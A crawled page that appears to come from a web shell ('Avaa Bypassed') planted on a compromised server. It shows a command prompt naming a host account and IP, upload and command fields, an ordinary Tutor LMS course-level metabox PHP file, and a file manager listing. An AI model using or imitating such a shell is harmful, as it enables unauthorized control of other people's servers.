[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.222.100.201: ~ $
<?php
/**
 * Course level meta box
 *
 * @package Tutor\Views
 * @subpackage Tutor\MetaBox
 * @author Themeum <support@themeum.com>
 * @link https://themeum.com
 * @since 1.0.0
 */

$course_id    = get_the_ID();
$levels       = tutor_utils()->course_levels();
$course_level = get_post_meta( $course_id, '_tutor_course_level', true );
?>
<div class="tutor-row">
	<div class="tutor-col-4">
		<label for="">
			<?php esc_html_e( 'Difficulty Level', 'tutor' ); ?> <br />
		</label>
	</div>
	<div class="tutor-col-8">
		<select name="course_level" class="tutor-form-select">
			<?php
			foreach ( $levels as $level_key => $level ) {
				?>
					<option value="<?php echo esc_html( $level_key ); ?>" <?php ( $course_level ? selected( $level_key, $course_level ) : 'intermediate' === $level_key ) ? selected( 1, 1 ) : ''; ?>> 
						<?php echo esc_html( $level ); ?>
					</option>
				<?php
			}
			?>
		</select>
	</div>
</div>

Filemanager

Name Type Size Permission Actions
course Folder 0755
course-add-edd-product-metabox.php File 451 B 0644
course-add-product-metabox.php File 711 B 0644
course-additional-data.php File 4.46 KB 0644
course-contents.php File 8.99 KB 0644
course-level-metabox.php File 923 B 0644
course-topics.php File 5.39 KB 0644
instructors-metabox.php File 2.65 KB 0644
lesson-attachments-metabox.php File 910 B 0644
lesson-metabox.php File 1.03 KB 0644
product-selection.php File 3.85 KB 0644
settings-tabs.php File 7.64 KB 0644
user-profile-fields.php File 2.07 KB 0644
video-metabox.php File 9.63 KB 0644